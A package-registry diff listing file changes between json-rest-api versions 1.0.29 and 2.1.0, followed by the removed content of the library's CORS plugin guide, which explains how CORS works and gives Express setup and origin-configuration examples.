json-rest-api 1.0.29 → 2.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +10 -670
- package/LICENSE-GPL-3.0 +674 -0
- package/LICENSE-MIT +21 -0
- package/README.md +39 -30
- package/docs/API.md +744 -1273
- package/docs/GUIDE/01-getting-started.md +338 -0
- package/docs/GUIDE/02-resources-and-relationships.md +33 -0
- package/docs/GUIDE/03-running-example.md +87 -0
- package/docs/GUIDE/04-creating-and-querying.md +181 -0
- package/docs/GUIDE/05-belongs-to.md +177 -0
- package/docs/GUIDE/06-has-many.md +184 -0
- package/docs/GUIDE/07-polymorphic-relationships.md +191 -0
- package/docs/GUIDE/08-many-to-many.md +184 -0
- package/docs/GUIDE/09-pagination-and-sorting.md +149 -0
- package/docs/GUIDE/10-put-and-patch.md +174 -0
- package/docs/GUIDE/11-relationship-endpoints.md +174 -0
- package/docs/GUIDE/12-field-transformations.md +287 -0
- package/docs/GUIDE/13-hooks-and-lifecycle.md +479 -0
- package/docs/GUIDE/14-custom-resource-methods.md +125 -0
- package/docs/GUIDE/15-query-projections.md +266 -0
- package/docs/GUIDE/{GUIDE_X_Autofiltering.md → 16-autofiltering.md} +77 -15
- package/docs/GUIDE/{GUIDE_X_Row_Policies.md → 17-row-policies.md} +137 -44
- package/docs/GUIDE/18-labels.md +86 -0
- package/docs/GUIDE/19-managed-transactions.md +179 -0
- package/docs/GUIDE/20-transaction-outcomes.md +207 -0
- package/docs/GUIDE/21-schema-and-migrations.md +733 -0
- package/docs/GUIDE/22-version-field-migrations.md +208 -0
- package/docs/GUIDE/23-fastify.md +179 -0
- package/docs/GUIDE/24-cors.md +172 -0
- package/docs/GUIDE/{GUIDE_X_URL_Management.md → 25-url-management.md} +7 -1
- package/docs/GUIDE/26-file-uploads.md +278 -0
- package/docs/GUIDE/27-bulk-operations.md +277 -0
- package/docs/GUIDE/28-socketio.md +325 -0
- package/docs/GUIDE/29-writing-plugins.md +278 -0
- package/docs/GUIDE/30-backend-capabilities.md +103 -0
- package/docs/GUIDE/31-positioning.md +181 -0
- package/docs/GUIDE/{GUIDE_Y_Appendices.md → 32-date-and-time.md} +74 -30
- package/docs/GUIDE/33-migrating-to-v2.md +3838 -0
- package/docs/GUIDE/index.md +51 -59
- package/docs/QUICKSTART.md +120 -287
- package/docs/architecture.md +75 -0
- package/docs/contributing.md +178 -0
- package/index.d.ts +37 -0
- package/index.js +3 -22
- package/lib/enhanced-logger.js +91 -85
- package/lib/error-context.js +445 -5
- package/lib/error-formatter.js +219 -59
- package/lib/knex-transaction.js +70 -0
- package/lib/logger-types.d.ts +22 -0
- package/lib/missing-package.js +4 -0
- package/lib/rest-api-errors.js +103 -8
- package/lib/runtime/json-rest-api.js +172 -0
- package/lib/transaction-types.d.ts +59 -0
- package/package.json +97 -27
- package/plugins/core/bulk-operations-plugin.js +191 -184
- package/plugins/core/connectors/express-plugin.js +148 -219
- package/plugins/core/connectors/fastify-plugin.js +125 -82
- package/plugins/core/connectors/lib/busboy-detector.js +74 -156
- package/plugins/core/connectors/lib/connector-core.js +144 -20
- package/plugins/core/connectors/lib/formidable-detector.js +63 -120
- package/plugins/core/connectors/lib/http-validators.js +77 -0
- package/plugins/core/connectors/lib/multipart-helpers.js +18 -0
- package/plugins/core/connectors/lib/request-helpers.js +10 -1
- package/plugins/core/connectors/lib/transport-http-helpers.js +89 -8
- package/plugins/core/connectors/lib/transport-route-schemas.js +7 -4
- package/plugins/core/file-handling-plugin.js +87 -177
- package/plugins/core/lib/anyapi/anyapi-registry.js +586 -418
- package/plugins/core/lib/anyapi/canonical-link-store.js +507 -0
- package/plugins/core/lib/anyapi/canonical-relationship-reader.js +598 -0
- package/plugins/core/lib/anyapi/schema-utils.js +120 -56
- package/plugins/core/lib/anyapi/stored-definition.js +109 -0
- package/plugins/core/lib/anyapi/utils/descriptor-helpers.js +0 -64
- package/plugins/core/lib/dbIntrospection.js +228 -21
- package/plugins/core/lib/dbTablesOperations.js +409 -92
- package/plugins/core/lib/fractional-positioning.js +12 -48
- package/plugins/core/lib/querying/identifier-query.js +19 -0
- package/plugins/core/lib/querying/include-query-helpers.js +364 -0
- package/plugins/core/lib/querying/include-to-many.js +428 -0
- package/plugins/core/lib/querying/include-to-one.js +579 -0
- package/plugins/core/lib/querying/knex-cross-table-search.js +31 -307
- package/plugins/core/lib/querying/knex-json-api-transformers-querying.js +99 -401
- package/plugins/core/lib/querying/knex-pagination-helpers.js +48 -317
- package/plugins/core/lib/querying/knex-process-includes.js +5 -110
- package/plugins/core/lib/querying/knex-query-helpers-base.js +21 -56
- package/plugins/core/lib/querying/knex-query-helpers.js +298 -448
- package/plugins/core/lib/querying/knex-relationship-includes.js +120 -2138
- package/plugins/core/lib/querying/knex-window-queries.js +62 -253
- package/plugins/core/lib/querying/query-builder-utils.js +44 -4
- package/plugins/core/lib/querying/query-constraint.d.ts +12 -0
- package/plugins/core/lib/querying/query-constraint.js +27 -0
- package/plugins/core/lib/querying/query-field-sort-helpers.js +134 -37
- package/plugins/core/lib/querying/relationship-identifiers.js +208 -0
- package/plugins/core/lib/querying/sort-helpers.js +13 -1
- package/plugins/core/lib/querying/storage-adapter-utils.js +13 -5
- package/plugins/core/lib/querying/url-helpers.js +11 -4
- package/plugins/core/lib/querying-writing/compile-schemas.js +148 -249
- package/plugins/core/lib/querying-writing/connectors-query-parser.js +33 -118
- package/plugins/core/lib/querying-writing/database-capabilities.js +149 -223
- package/plugins/core/lib/querying-writing/database-value-normalizers.js +179 -194
- package/plugins/core/lib/querying-writing/default-data-helpers.js +15 -45
- package/plugins/core/lib/querying-writing/field-selection-types.d.ts +43 -0
- package/plugins/core/lib/querying-writing/field-utils.js +113 -92
- package/plugins/core/lib/querying-writing/knex-constants.d.ts +18 -0
- package/plugins/core/lib/querying-writing/knex-constants.js +2 -26
- package/plugins/core/lib/querying-writing/knex-field-helpers.js +100 -290
- package/plugins/core/lib/querying-writing/knex-json-api-transformers.js +31 -120
- package/plugins/core/lib/querying-writing/query-field-helpers.js +108 -32
- package/plugins/core/lib/querying-writing/query-field-types.d.ts +60 -0
- package/plugins/core/lib/querying-writing/relationship-contracts.js +33 -13
- package/plugins/core/lib/querying-writing/request-contracts.js +93 -38
- package/plugins/core/lib/querying-writing/resource-id-normalization.js +23 -5
- package/plugins/core/lib/querying-writing/response-options.js +35 -0
- package/plugins/core/lib/querying-writing/schema-helpers.js +203 -324
- package/plugins/core/lib/querying-writing/scope-validations.js +92 -290
- package/plugins/core/lib/querying-writing/simplified-helpers.js +113 -712
- package/plugins/core/lib/storage/canonical-data-helpers.js +683 -0
- package/plugins/core/lib/storage/canonical-storage-mapping.js +51 -20
- package/plugins/core/lib/storage/ordinary-data-helpers.js +710 -0
- package/plugins/core/lib/storage/storage-adapter.js +128 -62
- package/plugins/core/lib/storage/storage-mapping.js +78 -28
- package/plugins/core/lib/storage/storage-types.d.ts +502 -0
- package/plugins/core/lib/writing/many-to-many-manipulations.js +114 -284
- package/plugins/core/lib/writing/relationship-processor.js +94 -158
- package/plugins/core/lib/writing/resource-version.js +172 -0
- package/plugins/core/lib/writing/reverse-relationship-manipulations.js +110 -0
- package/plugins/core/rest-api-anyapi-knex-plugin.js +290 -2475
- package/plugins/core/rest-api-autofilter-plugin.js +17 -19
- package/plugins/core/rest-api-cors-plugin.js +52 -205
- package/plugins/core/rest-api-knex-plugin.js +45 -1077
- package/plugins/core/rest-api-label-plugin.js +25 -38
- package/plugins/core/rest-api-plugin-hooks/register-relationship-routes.js +5 -5
- package/plugins/core/rest-api-plugin-hooks/register-scope-routes.js +9 -6
- package/plugins/core/rest-api-plugin-hooks/turn-scope-init-into-vars.js +7 -26
- package/plugins/core/rest-api-plugin-hooks/validate-include-configurations.js +20 -26
- package/plugins/core/rest-api-plugin-methods/add-route.js +4 -6
- package/plugins/core/rest-api-plugin-methods/apply-query-filters.js +42 -13
- package/plugins/core/rest-api-plugin-methods/check-permissions.js +11 -5
- package/plugins/core/rest-api-plugin-methods/common.js +291 -395
- package/plugins/core/rest-api-plugin-methods/delete-relationship.js +49 -47
- package/plugins/core/rest-api-plugin-methods/delete.js +31 -25
- package/plugins/core/rest-api-plugin-methods/enrich-attributes.js +108 -148
- package/plugins/core/rest-api-plugin-methods/get-related.js +113 -305
- package/plugins/core/rest-api-plugin-methods/get-relationship.js +25 -18
- package/plugins/core/rest-api-plugin-methods/get.js +36 -68
- package/plugins/core/rest-api-plugin-methods/lifecycle-types.d.ts +225 -0
- package/plugins/core/rest-api-plugin-methods/patch-relationship.js +28 -25
- package/plugins/core/rest-api-plugin-methods/patch.js +46 -99
- package/plugins/core/rest-api-plugin-methods/post-relationship.js +49 -53
- package/plugins/core/rest-api-plugin-methods/post.js +51 -51
- package/plugins/core/rest-api-plugin-methods/put.js +69 -148
- package/plugins/core/rest-api-plugin-methods/query.js +37 -81
- package/plugins/core/rest-api-plugin-methods/release.js +2 -1
- package/plugins/core/rest-api-plugin.js +32 -46
- package/plugins/core/rest-api-positioning-plugin.js +183 -628
- package/plugins/core/rest-api-query-projections-plugin.js +19 -102
- package/plugins/core/rest-api-row-policy-plugin.js +3 -3
- package/plugins/core/socketio-plugin.js +364 -344
- package/plugins/storage/local-storage.js +40 -36
- package/types/anyapi.d.ts +30 -0
- package/types/autofilter.d.ts +57 -0
- package/types/bulk-methods.d.ts +63 -0
- package/types/errors.d.ts +118 -0
- package/types/fastify-options.d.ts +19 -0
- package/types/file-detectors.d.ts +33 -0
- package/types/file-storage.d.ts +48 -0
- package/types/hook-context.d.ts +180 -0
- package/types/plugin-options.d.ts +65 -0
- package/types/relationship-methods.d.ts +74 -0
- package/types/representations.d.ts +50 -0
- package/types/resource-methods.d.ts +95 -0
- package/types/resource-schema.d.ts +157 -0
- package/types/row-policy.d.ts +31 -0
- package/types/runtime.d.ts +132 -0
- package/types/transactions.d.ts +21 -0
- package/.claude/agents/library-guide-expert.md +0 -30
- package/.claude/agents/rest-api-internals-expert.md +0 -54
- package/.claude/settings.local.json +0 -70
- package/AGENTS.md +0 -34
- package/CLAUDE.md +0 -160
- package/CRUSH.md +0 -55
- package/JSKIT_BACKEND_MIGRATION_TRACKER.txt +0 -180
- package/SINGLE_VALIDATION_CONTRACT_TODO.txt +0 -172
- package/TODO.todo +0 -13
- package/connectors_ideas/fastify.js +0 -217
- package/connectors_ideas/koa-plugin.js +0 -112
- package/docs/.bundle/config +0 -2
- package/docs/COMPARISON.md +0 -433
- package/docs/GUIDE/GUIDE_1_Initial_Setup.md +0 -1057
- package/docs/GUIDE/GUIDE_2_1_The_Starting_Point.md +0 -88
- package/docs/GUIDE/GUIDE_2_2_Manipulating_And_Searching_Tables.md +0 -808
- package/docs/GUIDE/GUIDE_2_3_BelongsTo_Relationships.md +0 -491
- package/docs/GUIDE/GUIDE_2_4_HasMany_Records.md +0 -398
- package/docs/GUIDE/GUIDE_2_5_HasMany_Polymorphic.md +0 -898
- package/docs/GUIDE/GUIDE_2_6_Many_To_Many.md +0 -712
- package/docs/GUIDE/GUIDE_2_7_Pagination_And_Ordering.md +0 -1247
- package/docs/GUIDE/GUIDE_2_8_Effects_of_PUT_and_PATCH.md +0 -748
- package/docs/GUIDE/GUIDE_2_9_Relationships_Urls.md +0 -517
- package/docs/GUIDE/GUIDE_2_Data_And_Relations.md +0 -66
- package/docs/GUIDE/GUIDE_3_Field_Transformations.md +0 -1252
- package/docs/GUIDE/GUIDE_5_Non-Db_Resources.md +0 -1107
- package/docs/GUIDE/GUIDE_6_Positioning.md +0 -692
- package/docs/GUIDE/GUIDE_7_Hooks_Data_Management_And_Plugins.md +0 -1491
- package/docs/GUIDE/GUIDE_X_Bulk_Operations.md +0 -732
- package/docs/GUIDE/GUIDE_X_Cors.md +0 -1957
- package/docs/GUIDE/GUIDE_X_Fastify.md +0 -78
- package/docs/GUIDE/GUIDE_X_File_Uploads.md +0 -729
- package/docs/GUIDE/GUIDE_X_Knex_Schema_And_Migrations.md +0 -370
- package/docs/GUIDE/GUIDE_X_Query_Projections.md +0 -159
- package/docs/GUIDE/GUIDE_X_SocketIO.md +0 -1040
- package/docs/GUIDE/GUIDE_X_Writing_Plugins.md +0 -201
- package/docs/Gemfile +0 -6
- package/docs/Gemfile.lock +0 -308
- package/docs/ONBOARDING.md +0 -315
- package/docs/_config.yml +0 -36
- package/docs/_layouts/default.html +0 -123
- package/docs/apple-touch-icon.svg +0 -4
- package/docs/assets/css/style.scss +0 -392
- package/docs/favicon.svg +0 -4
- package/docs/index.md +0 -164
- package/docs/mini-guides/file-uploads-complete.md +0 -161
- package/eslint.config.js +0 -13
- package/examples/url-override-example.js +0 -137
- package/fixing_plan.md +0 -112
- package/plugins/core/lib/anyapi/query/anyapi-query-adapter.js +0 -657
- package/plugins/core/lib/querying-writing/return-record-settings.js +0 -47
- package/plugins/core/lib/writing/knex-json-api-transformers-writing.js +0 -110
- package/plugins/storage/s3-storage.js +0 -93
- package/quickTest.js +0 -136
- package/scripts/debug-anyapi-review-filter.mjs +0 -63
- package/scripts/inspect-anyapi-descriptor-country.mjs +0 -19
- package/scripts/inspect-anyapi-descriptor.mjs +0 -19
- package/scripts/run-docs.js +0 -133
- package/test-debug.js +0 -59
- package/tests/README.md +0 -202
- package/tests/TEST_TEMPLATE.test.js +0 -178
- package/tests/anyapi-basic.test.js +0 -105
- package/tests/anyapi-cursor-pagination.test.js +0 -148
- package/tests/anyapi-custom-idproperty.test.js +0 -163
- package/tests/autofilter.test.js +0 -463
- package/tests/bulk-operations.test.js +0 -657
- package/tests/computed-fields.test.js +0 -586
- package/tests/cors.test.js +0 -834
- package/tests/curl.test.js +0 -467
- package/tests/custom-id-mysql-returning-fallback.test.js +0 -128
- package/tests/custom-id-simplified-post.test.js +0 -75
- package/tests/custom-idproperty-relationships.test.js +0 -932
- package/tests/db-introspection.test.js +0 -521
- package/tests/db-table-operations.test.js +0 -798
- package/tests/fastify-plugin.test.js +0 -184
- package/tests/field-getters.test.js +0 -370
- package/tests/field-setters.test.js +0 -306
- package/tests/file-handling.test.js +0 -155
- package/tests/fixtures/api-configs.js +0 -2566
- package/tests/full-jsonapi-belongsto-linkage.test.js +0 -150
- package/tests/helpers/fake-fastify.js +0 -99
- package/tests/helpers/storage-mode.js +0 -65
- package/tests/helpers/test-utils.js +0 -203
- package/tests/http-connectors-parity.test.js +0 -395
- package/tests/id-normalization.test.js +0 -444
- package/tests/include-depth-validation.test.js +0 -331
- package/tests/includes.test.js +0 -427
- package/tests/local-storage.test.js +0 -96
- package/tests/logical-id-write-validation.test.js +0 -151
- package/tests/nested-includes.test.js +0 -617
- package/tests/pagination-boundaries.test.js +0 -154
- package/tests/pagination-contract.test.js +0 -122
- package/tests/pagination-cursor-multifield.test.js +0 -641
- package/tests/pagination-enhanced.test.js +0 -563
- package/tests/polymorphic-relationships.test.js +0 -347
- package/tests/polymorphic-simple.test.js +0 -148
- package/tests/positioning-advanced.test.js +0 -692
- package/tests/positioning-extended.test.js +0 -915
- package/tests/positioning-multifilter.test.js +0 -699
- package/tests/positioning.test.js +0 -560
- package/tests/post-commit-hooks.test.js +0 -120
- package/tests/projected-fields.test.js +0 -319
- package/tests/public-exports.test.js +0 -15
- package/tests/put-create-parity.test.js +0 -216
- package/tests/queries.test.js +0 -521
- package/tests/query-limits.test.js +0 -584
- package/tests/relationship-endpoints.test.js +0 -620
- package/tests/relationship-include-storage-adapter.test.js +0 -56
- package/tests/relationships.test.js +0 -681
- package/tests/rest-api.test.js +0 -337
- package/tests/return-record-settings.test.js +0 -184
- package/tests/row-policy.test.js +0 -489
- package/tests/s3-storage.test.js +0 -38
- package/tests/searchschema-knex-behavior.test.js +0 -187
- package/tests/searchschema-merge.test.js +0 -151
- package/tests/socketio.test.js +0 -860
- package/tests/storage-mapping.test.js +0 -362
- package/tests/temporal-boundaries.test.js +0 -208
- package/tests/test-development-guide.md +0 -370
- package/tests/virtual-fields.test.js +0 -404
|
@@ -1,1957 +0,0 @@
|
|
|
1
|
-
# CORS Plugin Guide
|
|
2
|
-
|
|
3
|
-
Cross-Origin Resource Sharing (CORS) is essential for APIs accessed by web browsers. This guide shows you how to use the CORS plugin to enable cross-origin requests in your JSON REST API.
|
|
4
|
-
|
|
5
|
-
## Table of Contents
|
|
6
|
-
1. [Basic Setup](#basic-setup)
|
|
7
|
-
2. [Configuration Options](#configuration-options)
|
|
8
|
-
3. [Common Use Cases](#common-use-cases)
|
|
9
|
-
4. [Advanced Patterns](#advanced-patterns)
|
|
10
|
-
6. [Troubleshooting](#troubleshooting)
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
## Intro: What is CORS
|
|
14
|
-
|
|
15
|
-
CORS stands for **Cross-Origin Resource Sharing**. It's a security feature implemented by web browsers to protect users from malicious websites.
|
|
16
|
-
|
|
17
|
-
**The server ALWAYS responds to requests regardless of origin.** CORS is enforced by the BROWSER, not the server. This is a crucial distinction:
|
|
18
|
-
|
|
19
|
-
- ✅ **Servers**: Always process and respond to requests from any origin
|
|
20
|
-
- 🛡️ **Browsers**: Block the response from reaching JavaScript if CORS headers don't allow it
|
|
21
|
-
- 🔓 **Non-browser clients** (cURL, Postman, mobile apps): Not affected by CORS at all
|
|
22
|
-
|
|
23
|
-
By default, web browsers enforce the **Same-Origin Policy**, which blocks web pages from making requests to a different domain than the one serving the page. While this protects users, it also prevents legitimate cross-domain API calls.
|
|
24
|
-
|
|
25
|
-
For example:
|
|
26
|
-
- Your web app is served from `https://myapp.com`
|
|
27
|
-
- Your API is hosted at `https://api.myapp.com`
|
|
28
|
-
- Without CORS, the browser will block requests from the web app to the API
|
|
29
|
-
|
|
30
|
-
CORS allows servers to specify which origins (domains) are permitted to access their resources. Here's the flow:
|
|
31
|
-
|
|
32
|
-
1. **Simple Requests**: For basic GET/POST requests, the browser sends an `Origin` header
|
|
33
|
-
2. **Preflight Requests**: For complex requests (custom headers, PUT/DELETE, etc.), the browser first sends an OPTIONS request
|
|
34
|
-
3. **Server Response**: The server ALWAYS responds with data + CORS headers
|
|
35
|
-
4. **Browser Decision**: The browser either gives the response to JavaScript OR blocks it
|
|
36
|
-
|
|
37
|
-
Imagine you're building a weather app:
|
|
38
|
-
- Frontend: `https://coolweather.app` (your React/Vue/Angular app)
|
|
39
|
-
- Backend: `https://api.weather-service.com` (your API)
|
|
40
|
-
|
|
41
|
-
When a user visits your frontend and it tries to fetch weather data:
|
|
42
|
-
|
|
43
|
-
```javascript
|
|
44
|
-
// This code runs in the browser at https://coolweather.app
|
|
45
|
-
fetch('https://api.weather-service.com/forecast')
|
|
46
|
-
.then(res => res.json())
|
|
47
|
-
.then(data => console.log(data));
|
|
48
|
-
```
|
|
49
|
-
|
|
50
|
-
Without CORS headers from the API:
|
|
51
|
-
```
|
|
52
|
-
✅ API receives the request and sends response
|
|
53
|
-
❌ Browser blocks JavaScript from reading the response
|
|
54
|
-
❌ Console error: "CORS policy: No 'Access-Control-Allow-Origin' header"
|
|
55
|
-
❌ User sees no weather data
|
|
56
|
-
🔍 Network tab shows the full response (but JS can't access it)
|
|
57
|
-
```
|
|
58
|
-
|
|
59
|
-
With CORS headers from the API:
|
|
60
|
-
```
|
|
61
|
-
✅ API receives the request and sends response
|
|
62
|
-
✅ API includes: Access-Control-Allow-Origin: https://coolweather.app
|
|
63
|
-
✅ Browser allows JavaScript to read the response
|
|
64
|
-
✅ User sees weather data
|
|
65
|
-
```
|
|
66
|
-
|
|
67
|
-
**CORS does NOT protect your API from:**
|
|
68
|
-
- Direct requests (cURL, Postman, scripts)
|
|
69
|
-
- Mobile apps
|
|
70
|
-
- Backend-to-backend communication
|
|
71
|
-
- Malicious users with browser dev tools
|
|
72
|
-
- Web scraping tools
|
|
73
|
-
|
|
74
|
-
**CORS ONLY protects:**
|
|
75
|
-
- Users from having their credentials used by malicious websites
|
|
76
|
-
- Browser-based JavaScript from reading responses it shouldn't
|
|
77
|
-
|
|
78
|
-
**Therefore:** CORS is about protecting users, not protecting your API. You still need:
|
|
79
|
-
- Authentication (API keys, tokens)
|
|
80
|
-
- Authorization (user permissions)
|
|
81
|
-
- Rate limiting
|
|
82
|
-
- Input validation
|
|
83
|
-
|
|
84
|
-
## Basic Setup
|
|
85
|
-
|
|
86
|
-
The CORS plugin automatically handles preflight requests and adds appropriate headers to all responses.
|
|
87
|
-
|
|
88
|
-
The basic CORS setup creates a permissive configuration suitable for development:
|
|
89
|
-
|
|
90
|
-
**What it ALLOWS:**
|
|
91
|
-
- ✅ Requests from ANY origin (website, mobile app, Postman, etc.)
|
|
92
|
-
- ✅ All standard HTTP methods (GET, POST, PUT, PATCH, DELETE)
|
|
93
|
-
- ✅ Credentials (cookies, authorization headers) to be sent
|
|
94
|
-
- ✅ Common request headers (Content-Type, Authorization, etc.)
|
|
95
|
-
- ✅ Browser to cache preflight responses for 24 hours
|
|
96
|
-
|
|
97
|
-
**What it BLOCKS:**
|
|
98
|
-
- ❌ Nothing - this is the most permissive setup
|
|
99
|
-
- ⚠️ This is why it's only recommended for development
|
|
100
|
-
|
|
101
|
-
**Important Security Note:**
|
|
102
|
-
The combination of `origin: '*'` (wildcard) and `credentials: true` is actually invalid according to CORS specification. When credentials are enabled, browsers require a specific origin. The CORS plugin handles this by dynamically setting the origin to match the request.
|
|
103
|
-
|
|
104
|
-
### Complete Example
|
|
105
|
-
|
|
106
|
-
Here's a complete API setup with CORS enabled with the most permissive setup:
|
|
107
|
-
|
|
108
|
-
```javascript
|
|
109
|
-
import { Api } from 'hooked-api';
|
|
110
|
-
import { RestApiPlugin } from './plugins/core/rest-api-plugin.js';
|
|
111
|
-
import { RestApiKnexPlugin } from './plugins/core/rest-api-knex-plugin.js';
|
|
112
|
-
import { ExpressPlugin } from './plugins/core/connectors/express-plugin.js';
|
|
113
|
-
import { CorsPlugin } from './plugins/core/rest-api-cors-plugin.js';
|
|
114
|
-
import express from 'express';
|
|
115
|
-
import knex from 'knex';
|
|
116
|
-
|
|
117
|
-
// Create API instance
|
|
118
|
-
const api = new Api({ name: 'my-api' });
|
|
119
|
-
|
|
120
|
-
// Set up database
|
|
121
|
-
const db = knex({
|
|
122
|
-
client: 'sqlite3',
|
|
123
|
-
connection: { filename: ':memory:' },
|
|
124
|
-
useNullAsDefault: true
|
|
125
|
-
});
|
|
126
|
-
|
|
127
|
-
// Install plugins
|
|
128
|
-
await api.use(RestApiPlugin);
|
|
129
|
-
await api.use(RestApiKnexPlugin, { knex: db });
|
|
130
|
-
await api.use(ExpressPlugin, { app: express() });
|
|
131
|
-
await api.use(CorsPlugin);
|
|
132
|
-
|
|
133
|
-
// Add a resource
|
|
134
|
-
await api.addScope('articles', {
|
|
135
|
-
restApi: {
|
|
136
|
-
schema: {
|
|
137
|
-
attributes: {
|
|
138
|
-
title: { type: 'string', required: true },
|
|
139
|
-
content: { type: 'string' }
|
|
140
|
-
}
|
|
141
|
-
}
|
|
142
|
-
}
|
|
143
|
-
});
|
|
144
|
-
|
|
145
|
-
// Mount Express routes
|
|
146
|
-
const app = express();
|
|
147
|
-
api.http.express.mount(app);
|
|
148
|
-
app.listen(3000).on('error', (err) => {
|
|
149
|
-
console.error('Failed to start server:', err);
|
|
150
|
-
process.exit(1)
|
|
151
|
-
});
|
|
152
|
-
```
|
|
153
|
-
|
|
154
|
-
### The default setup in detail
|
|
155
|
-
|
|
156
|
-
When you use the basic setup:
|
|
157
|
-
```javascript
|
|
158
|
-
await api.use(CorsPlugin);
|
|
159
|
-
```
|
|
160
|
-
|
|
161
|
-
It's equivalent to writing:
|
|
162
|
-
```javascript
|
|
163
|
-
await api.use(CorsPlugin, {
|
|
164
|
-
'rest-api-cors': {
|
|
165
|
-
origin: '*',
|
|
166
|
-
credentials: true,
|
|
167
|
-
methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'],
|
|
168
|
-
allowedHeaders: [
|
|
169
|
-
'Content-Type',
|
|
170
|
-
'Authorization',
|
|
171
|
-
'X-Requested-With',
|
|
172
|
-
'X-HTTP-Method-Override',
|
|
173
|
-
'Accept',
|
|
174
|
-
'Origin'
|
|
175
|
-
],
|
|
176
|
-
exposedHeaders: [
|
|
177
|
-
'X-Total-Count',
|
|
178
|
-
'X-Page-Count',
|
|
179
|
-
'Link',
|
|
180
|
-
'Location'
|
|
181
|
-
],
|
|
182
|
-
maxAge: 86400,
|
|
183
|
-
optionsSuccessStatus: 204
|
|
184
|
-
}
|
|
185
|
-
});
|
|
186
|
-
```
|
|
187
|
-
|
|
188
|
-
#### `origin: '*'` - Who Can Access Your API
|
|
189
|
-
- `'*'` means "any origin" - any website can call your API
|
|
190
|
-
- In practice, when `credentials: true`, the plugin dynamically sets this to the requesting origin
|
|
191
|
-
- Think of it as saying "I trust everyone" - fine for development, dangerous for production
|
|
192
|
-
|
|
193
|
-
#### `credentials: true` - Cookies and Authentication
|
|
194
|
-
- Allows browsers to send cookies and authorization headers with requests
|
|
195
|
-
- Essential for APIs that use cookie-based sessions or need authentication
|
|
196
|
-
- Forces the origin to be specific (not wildcard) in responses
|
|
197
|
-
|
|
198
|
-
#### `methods: [...]` - What Actions Are Allowed
|
|
199
|
-
- Lists HTTP methods clients can use
|
|
200
|
-
- `GET`: Read data (fetch users, articles, etc.)
|
|
201
|
-
- `POST`: Create new resources
|
|
202
|
-
- `PUT`: Replace entire resources
|
|
203
|
-
- `PATCH`: Update parts of resources
|
|
204
|
-
- `DELETE`: Remove resources
|
|
205
|
-
- `OPTIONS`: Preflight requests (browser asks "what can I do?")
|
|
206
|
-
|
|
207
|
-
#### `allowedHeaders: [...]` - What Headers Clients Can Send
|
|
208
|
-
- `Content-Type`: Specifies data format (application/json, etc.)
|
|
209
|
-
- `Authorization`: For Bearer tokens, API keys
|
|
210
|
-
- `X-Requested-With`: Often used to identify AJAX requests
|
|
211
|
-
- `X-HTTP-Method-Override`: Allows method override for limited clients
|
|
212
|
-
- `Accept`: What response formats the client wants
|
|
213
|
-
- `Origin`: Where the request is coming from
|
|
214
|
-
|
|
215
|
-
#### `exposedHeaders: [...]` - What Headers Clients Can Read
|
|
216
|
-
- By default, browsers only let JavaScript read basic headers
|
|
217
|
-
- `X-Total-Count`: Total number of items (for pagination)
|
|
218
|
-
- `X-Page-Count`: Total number of pages
|
|
219
|
-
- `Link`: Pagination links (next, prev, first, last)
|
|
220
|
-
- `Location`: Where a newly created resource can be found
|
|
221
|
-
|
|
222
|
-
#### `maxAge: 86400` - Preflight Cache Duration
|
|
223
|
-
- Browsers can cache preflight responses for 86400 seconds (24 hours)
|
|
224
|
-
- Reduces preflight requests, improving performance
|
|
225
|
-
- During development, you might want this lower (3600 = 1 hour)
|
|
226
|
-
|
|
227
|
-
#### `optionsSuccessStatus: 204` - Preflight Response Code
|
|
228
|
-
- `204 No Content` is the standard for successful OPTIONS
|
|
229
|
-
- Tells the browser "yes, you can make this request" without sending body data
|
|
230
|
-
|
|
231
|
-
## Configuration Options
|
|
232
|
-
|
|
233
|
-
The CORS plugin accepts various configuration options.
|
|
234
|
-
|
|
235
|
-
| Option | Type | Default | Description |
|
|
236
|
-
|--------|------|---------|-------------|
|
|
237
|
-
| `origin` | String, RegExp, Array, Function | `'*'` | Allowed origins |
|
|
238
|
-
| `credentials` | Boolean | `true` | Allow credentials |
|
|
239
|
-
| `methods` | Array | `['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS']` | Allowed HTTP methods |
|
|
240
|
-
| `allowedHeaders` | Array | `['Content-Type', 'Authorization', 'X-Requested-With', 'X-HTTP-Method-Override', 'Accept', 'Origin']` | Headers clients can send |
|
|
241
|
-
| `exposedHeaders` | Array | `['X-Total-Count', 'X-Page-Count', 'Link', 'Location']` | Headers exposed to clients |
|
|
242
|
-
| `maxAge` | Number | `86400` | Preflight cache duration (seconds) |
|
|
243
|
-
| `optionsSuccessStatus` | Number | `204` | Status code for successful OPTIONS |
|
|
244
|
-
|
|
245
|
-
### Configuration Examples
|
|
246
|
-
|
|
247
|
-
### Understanding Each Configuration Example
|
|
248
|
-
|
|
249
|
-
Each example below shows different ways to configure CORS for specific scenarios. We'll explain what each does, why you'd use it, and provide real-world context.
|
|
250
|
-
|
|
251
|
-
#### Specific Origin
|
|
252
|
-
|
|
253
|
-
**What it does:** Restricts API access to a single, specific domain.
|
|
254
|
-
|
|
255
|
-
**Real-world scenario:** You have a production API that should only be accessed by your official web application.
|
|
256
|
-
|
|
257
|
-
```javascript
|
|
258
|
-
await api.use(CorsPlugin, {
|
|
259
|
-
'rest-api-cors': {
|
|
260
|
-
origin: 'https://app.example.com',
|
|
261
|
-
credentials: true
|
|
262
|
-
}
|
|
263
|
-
});
|
|
264
|
-
```
|
|
265
|
-
|
|
266
|
-
**How it works:**
|
|
267
|
-
- Only requests from `https://app.example.com` will be allowed
|
|
268
|
-
- Requests from `https://example.com` (no subdomain) will be BLOCKED
|
|
269
|
-
- Requests from `http://app.example.com` (HTTP, not HTTPS) will be BLOCKED
|
|
270
|
-
- The browser will receive: `Access-Control-Allow-Origin: https://app.example.com`
|
|
271
|
-
|
|
272
|
-
**Example scenario:**
|
|
273
|
-
Your company's dashboard at `https://dashboard.mycompany.com` needs to access the API at `https://api.mycompany.com`. No other domains should have access.
|
|
274
|
-
|
|
275
|
-
```javascript
|
|
276
|
-
// API configuration
|
|
277
|
-
await api.use(CorsPlugin, {
|
|
278
|
-
'rest-api-cors': {
|
|
279
|
-
origin: 'https://dashboard.mycompany.com',
|
|
280
|
-
credentials: true // Allow cookies for user sessions
|
|
281
|
-
}
|
|
282
|
-
});
|
|
283
|
-
```
|
|
284
|
-
|
